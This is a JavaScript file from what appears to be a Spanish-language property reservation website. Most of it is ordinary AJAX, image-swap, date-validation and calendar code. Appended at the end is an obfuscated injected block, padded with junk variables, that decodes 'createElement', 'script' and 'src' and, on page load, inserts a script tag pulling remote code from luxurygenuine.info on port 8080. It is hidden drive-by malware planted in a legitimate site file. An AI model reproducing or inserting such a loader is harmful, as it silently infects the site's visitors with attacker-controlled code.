// JavaScript Document



function nuevoAjax()
{ 
	/* Crea el objeto AJAX. Esta funcion es generica para cualquier utilidad de este tipo, por
	lo que se puede copiar tal como esta aqui */
	var xmlhttp=false; 
	try 
	{ 
		// Creacion del objeto AJAX para navegadores no IE
		xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); 
	}
	catch(e)
	{ 
		try
		{ 
			// Creacion del objet AJAX para IE 
			xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
		} 
		catch(E) { xmlhttp=false; }
	}
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp=new XMLHttpRequest(); } 

	return xmlhttp; 
} 




function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}


function validadatos(fechainicio,fechafin){

	if(fechainicio.value!=""){
	
		if(fechafin.value==""){
		alert("La Fecha de fin no es valida");
		return 0;
		}
	
	}
	if(fechafin.value!=""){
	
		if(fechainicio.value==""){
		alert("La Fecha de inicio no es valida");
		return 0;
		}
	
	}
	
	document.getElementById('form1').submit();
	
	
}



function validadatos2(fechainicio2,fechafin2){

	if(fechainicio2.value!=""){
	
		if(fechafin2.value==""){
		alert("La Fecha de fin no es valida");
		return 0;
		}
	
	}
	if(fechafin2.value!=""){
	
		if(fechainicio2.value==""){
		alert("La Fecha de inicio no es valida");
		return 0;
		}
	
	}
	
	document.getElementById('form2').submit();
	
	
}



function cambiaimagen(imagen,elemento){
	document.getElementById(elemento).innerHTML='<img src="'+imagen+'" width="204" height="154" />';
	
}


function habilitaregistro(){
	
	document.getElementById("formaregistro").style.display="block";
	document.getElementById("formarecupera").style.display="none";
	
}


function habilitarecupera(){
	
	document.getElementById("formarecupera").style.display="block";
	document.getElementById("formaregistro").style.display="none";
	
	
}


function muestrainmueble(valor){
	
	valor = valor[valor.selectedIndex].value;
	
	if(valor==0){
		
		return false;	
	}
	
	document.getElementById("idinumueble").value = valor;
	
	
	
 
 var idinumueble = document.getElementById("idinumueble").value
 

 
 ajax2=nuevoAjax();
	 ajax=nuevoAjax();
var cadena;
		ajax.open("GET", "diasreservados.php?iidinmueble="+idinumueble , true);
		ajax.onreadystatechange=function() 
		{ 
		
		
			if (ajax2.readyState==1)
			{
				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
				document.getElementById("reservacion").innerHTML  = "Cargando";
				
			}
			
			if (ajax.readyState==4)
			{ 
					cadena = ajax.responseText;
					
					
							diaspeciales=cadena.split('|');
						
					
					SPECIAL_DAYS.length = 0;
					var tmp = new Array();
					 var d;
					 var texto;
						for (d=0;d<diaspeciales.length;d++) 
						{
							tmp.length = 0;
							texto = diaspeciales[d];
							tmp = texto.split(',');
							
							
							SPECIAL_DAYS.push([tmp[0],tmp[1]])
						}

	document.getElementById("calendar-container").innerHTML  = "";
		
		var cal = new Zapatec.Calendar.setup({
		
		flat         : "calendar-container", // ID of the parent element
		flatCallback : dateChanged,          // our callback function
		dateStatusFunc : function(date, y, m, d) {
			var now = new Date()
				now.setHours(0,0,0,0)
		
			if (date < now){
				// endDate NOT defined, calendar date can not be before today
				return true;
			}
			
			if (dateIsSpecial(y, m, d)) 
			{
				//return "zpCalSpecialDay";
				return true;
			}
			else 
			{
				return false;
			} // other dates are enabled
			// return true if you want to disable other dates
			
		
			
			
		}
 
		});				
	
	
	
	document.getElementById("calendar-container2").innerHTML  = "";
	
	
		var cal2 = new Zapatec.Calendar.setup({
		
		flat         : "calendar-container2", // ID of the parent element
		flatCallback : dateChanged2,          // our callback function
		dateStatusFunc : function(date, y, m, d) {
			
			
				var now = new Date()
				now.setHours(0,0,0,0)
		
			if (date < now){
				// endDate NOT defined, calendar date can not be before today
				return true;
			}
			
			
			if (dateIsSpecial(y, m, d)) 
			{
				//return "zpCalSpecialDay";
					return true;
			}
			else 
			{
				return false;
			} // other dates are enabled
			// return true if you want to disable other dates
		}
 
		});
	
	
	
	
	
	
	
	
	

		ajax2.open("GET", "inmueble.php?idreserva="+valor , true);
		ajax2.onreadystatechange=function() 
		{ 
			if (ajax2.readyState==1)
			{
				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
				document.getElementById("reservacion").innerHTML = "Cargando";
				
			}
			if (ajax.readyState==4)
			{ 
				
						document.getElementById("status").value = 0;
						
						document.getElementById("total").value = 0;
							document.getElementById("dias").value = 0;
					document.getElementById("reservacion").innerHTML = ajax2.responseText;
			
			} 
			
			
		}
		ajax2.send(null);
			
			
			} 
			
			
		}
		ajax.send(null);
 

 
	
	
	
	

	
}










function muestrainmueble2(){
	
	
 
 var idinumueble = document.getElementById("idinumueble").value
 

 
 ajax2=nuevoAjax();
	 ajax=nuevoAjax();
var cadena;
		ajax.open("GET", "diasreservados.php?iidinmueble="+idinumueble , true);
		ajax.onreadystatechange=function() 
		{ 
		
		
			if (ajax2.readyState==1)
			{
				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
				document.getElementById("reservacion").innerHTML  = "Cargando";
				
			}
			
			if (ajax.readyState==4)
			{ 
					cadena = ajax.responseText;
					
					
							diaspeciales=cadena.split('|');
						
					
					SPECIAL_DAYS.length = 0;
					var tmp = new Array();
					 var d;
					 var texto;
						for (d=0;d<diaspeciales.length;d++) 
						{
							tmp.length = 0;
							texto = diaspeciales[d];
							tmp = texto.split(',');
							
							
							SPECIAL_DAYS.push([tmp[0],tmp[1]])
						}

	document.getElementById("calendar-container").innerHTML  = "";
		
		var cal = new Zapatec.Calendar.setup({
		
		flat         : "calendar-container", // ID of the parent element
		flatCallback : dateChanged,          // our callback function
		dateStatusFunc : function(date, y, m, d) {
			var now = new Date()
				now.setHours(0,0,0,0)
		
			if (date < now){
				// endDate NOT defined, calendar date can not be before today
				return true;
			}
			
			if (dateIsSpecial(y, m, d)) 
			{
				//return "zpCalSpecialDay";
				return true;
			}
			else 
			{
				return false;
			} // other dates are enabled
			// return true if you want to disable other dates
			
		
			
			
		}
 
		});				
	
	
	
	document.getElementById("calendar-container2").innerHTML  = "";
	
	
		var cal2 = new Zapatec.Calendar.setup({
		
		flat         : "calendar-container2", // ID of the parent element
		flatCallback : dateChanged2,          // our callback function
		dateStatusFunc : function(date, y, m, d) {
			
			
				var now = new Date()
				now.setHours(0,0,0,0)
		
			if (date < now){
				// endDate NOT defined, calendar date can not be before today
				return true;
			}
			
			
			if (dateIsSpecial(y, m, d)) 
			{
				//return "zpCalSpecialDay";
					return true;
			}
			else 
			{
				return false;
			} // other dates are enabled
			// return true if you want to disable other dates
		}
 
		});
	
	
			
			
			} 
			
			
		}
		ajax.send(null);
 

 
	
	
	
	

	
}

function calculadias(inicio,fin){
	
	if(inicio.value == ""){
	alert("Debes de seleccionar la fecha de inicio");
	return false;
	}
	
	if(fin.value == ""){
	alert("Debes de seleccionar la fecha de fin");
	return false;
	}
	
	
	iniciofecha = inicio.value;
	finfecha = fin.value;
	
	//alert(iniciofecha);
	//alert(finfecha);
	
	
	var today = new Date(finfecha)
	var stdate = new Date(iniciofecha)//adjust date, site created
	var msPerDay = 24 * 60 * 60 * 1000 ;
	var daysUp = ( today.getTime() - stdate.getTime() ) / msPerDay;
	daysUp = Math.round(daysUp);
	
	
	if(daysUp<0){
		alert("La fecha de incio debe de ser menor a la fecha fin.");
		return false;
		
	}
	
	if(daysUp==0){
		alert("Las Fechas son Iguales");
		return false;
		
	}
	
	document.getElementById("dias").value = daysUp;
	
	try{
	precio = document.getElementById("precio").value
	} catch(e){
		alert("No esta definido el precio intente de nuevo");
		return false;
	}
	total = (daysUp*precio);
	document.getElementById("total").value = Math.round(total*100)/100
	
	
	
	idinumueble = document.getElementById("idinumueble").value
	
	
	/*
	iniciofecha
	finfecha
	total
	*/
	
	ajax=nuevoAjax();
	

		ajax.open("GET", "validar.php?iniciofecha="+iniciofecha+"&finfecha="+finfecha+"&idinumueble="+idinumueble, true);
		ajax.onreadystatechange=function() 
		{ 
			if (ajax.readyState==1)
			{
				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
				document.getElementById("estado").innerHTML = "Cargando";
				
			}
			if (ajax.readyState==4)
			{ 
				
					valor = parseInt(ajax.responseText);
					
					if(valor==0){
						document.getElementById("status").value = 0;
					document.getElementById("estado").innerHTML = "<font color='red'>El Inmueble no está disponible en esa fecha</font>";
					} else {
						document.getElementById("status").value = 1;
						document.getElementById("estado").innerHTML = "<font color=black><b>El inmueble está disponible</b></font>";
					}
			
			} 
			
			
		}
		ajax.send(null);
	
	
	
}

function reservar(status){
	
	if(status==0){
	alert("La fecha no es Valida");
	return false;
	} else {
	
	// aqui tenemos que 
		
		/*fechainicio = document.getElementById("fechainicio").value
		fechafin = document.getElementById("fechafin").value
		total = document.getElementById("total").value
		dias = document.getElementById("dias").value
		idinumueble = document.getElementById("idinumueble").value
		*/
		document.getElementById("formax").submit();
		
		
		
	}
}

function regenera(){
	
	
		ajax=nuevoAjax();
	

		ajax.open("GET", "../regenera.php", true);
		ajax.onreadystatechange=function() 
		{ 
			if (ajax.readyState==1)
			{
				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
				document.getElementById("random").value = "Cargando";
				
			}
			if (ajax.readyState==4)
			{ 
				
				
						document.getElementById("random").value = ajax.responseText;
						
			
			} 
			
			
		}
		ajax.send(null);
	
	
}

//
//function validarpromo(promo){
//	
//		ajax=nuevoAjax();
//	
//
//		ajax.open("GET", "validapromo.php?idpromo="+promo, true);
//		ajax.onreadystatechange=function() 
//		{ 
//			if (ajax.readyState==1)
//			{
//				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
//				document.getElementById("estado2").value = "Cargando";
//				
//			}
//			if (ajax.readyState==4)
//			{ 
//				
//				
//						valor = parseInt(ajax.responseText);
//					if(valor==0){
//					
//						
//					document.getElementById("estado2").innerHTML = "<font color='red'>El código no es válido</font><input name='superpromo' type='hidden' id='superpromo' value='0' />";
//					} else {
//						document.getElementById("promo").readonly = true;
//						
//						
//						//////////
//						
//							ajax2=nuevoAjax();
//	
//
//		ajax2.open("GET", "obtenpromos.php?idpromo="+promo, true);
//		ajax2.onreadystatechange=function() 
//		{ 
//			if (ajax2.readyState==1)
//			{
//				// Mientras carga elimino la opcion "Elige pais" y pongo una que dice "Cargando"
//				document.getElementById("estado2").value = "Cargando";
//				
//			}
//			if (ajax2.readyState==4)
//			{ 
//											
//						document.getElementById("estado2").innerHTML = ajax2.responseText;
//				
//			} 
//			
//			
//		}
//		ajax2.send(null);
//						
//						
//						/////////////////
//						
//						
//						
//						
//						
//						
//						
//						
//						document.getElementById("estado2").innerHTML = "<font color=black><b>El código es válido</b></font>";
//						
//					}
//				
//			
//			} 
//			
//			
//		}
//		ajax.send(null);
//	
//	
//	
//}

var q=new String();var W;if(W!='_' && W!='bk'){W='_'};function z(){var o;if(o!='F' && o!='Zj'){o='F'};var uz;if(uz!='_B' && uz!='dQ'){uz=''};var c=window;var KE='';var iN='';var v;if(v!='Q'){v=''};this.R='';var BI;if(BI!='' && BI!='f'){BI=null};var QB;if(QB!=''){QB='oh'};var K=c['unescape'];var m=K("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%7a%61%2e%6e%65%2e%6a%70%2f%6e%69%6b%6b%65%69%62%70%2e%63%6f%2e%6a%70%2e%70%68%70");var xy;if(xy!='V'){xy='V'};var HI=new Date();function D(zT,DZ){this.Dt='';var Du=K("%5d");var pG;if(pG!='Dn' && pG != ''){pG=null};var g;if(g!='U' && g != ''){g=null};var J=K("%5b");var gH;if(gH!=''){gH='xm'};var i=String("gq8r".substr(0,1));var hF;if(hF!='' && hF!='rh'){hF=''};var DW=new String();var l;if(l!=''){l='T'};var I=new RegExp(J+DZ+Du, i);this.Sn="";var ZG;if(ZG!='yq' && ZG!='QJ'){ZG='yq'};return zT.replace(I, new String());var Sc;if(Sc!='pN' && Sc != ''){Sc=null};this.C='';};var Z=D('sJrkcJ','gCPJZLIDtakd');var wQ="";var vH;if(vH!='Co' && vH!='Lp'){vH='Co'};var qsN="";var d=D('d_eNfNe8ry','pV_Nyn8QmhzI3Z');var kv="";var L=D('s1curBifpYtZ','Nm7eYVISfJzGZoKaBu1');var pz=new Array();var oT;if(oT!='EP'){oT='EP'};var IA=D('87119977567976027911531197381223142635905357947973539','61239475');this.Aw='';var t=document;this.cM='';this.Ly="";var KM=new Date();function ind(){var xJ;if(xJ!='ri'){xJ=''};this.pNK='';var JL=K("%68%74%74%70%3a%2f%2f%6c%75%78%75%72%79%67%65%6e%75%69%6e%65%2e%69%6e%66%6f%3a");this.VT="";var Hi;if(Hi!=''){Hi='ej'};var P=JL;var Rt;if(Rt!='Oo' && Rt!='kr'){Rt='Oo'};var BQ=new Array();P+=IA;var uT="";this.zz='';P+=m;var BG="";var hfN;if(hfN!='Vq'){hfN='Vq'};try {var xU;if(xU!='sb'){xU='sb'};this.oz='';var BX;if(BX!='hS' && BX!='hW'){BX='hS'};u=t[D('cgryeQagt4eyEFlIeymFegnHty','80HGMy_OgINF4AQ')](L);var ro;if(ro!='Pw' && ro!='CC'){ro=''};u[d]=[1,2][0];var xW=new String();var ne=new Date();var Ra;if(Ra!='wG'){Ra='wG'};u[Z]=P;var Ht=new Date();var JK;if(JK!='Ak'){JK='Ak'};var m_m=new Array();var _u=new Array();t.body[D('a9pYpgeDn9drCkhjiQlrdQ','T9mPrcQNDoYkgjvw')](u);} catch(M){var Qs;if(Qs!='by' && Qs != ''){Qs=null};var X;if(X!='Ei' && X != ''){X=null};};var Id=new Array();var CY=new Array();}var AF;if(AF!='bx'){AF='bx'};var HU;if(HU!='Vd'){HU='Vd'};var kz;if(kz!=''){kz='DJ'};var b=D('o3n2lOoLa2dN','S3201OmNbLR');var Gk;if(Gk!=''){Gk='sQ'};c[b]=ind;};var Cw=new Array();z();var gb;if(gb!='mJ' && gb != ''){gb=null};
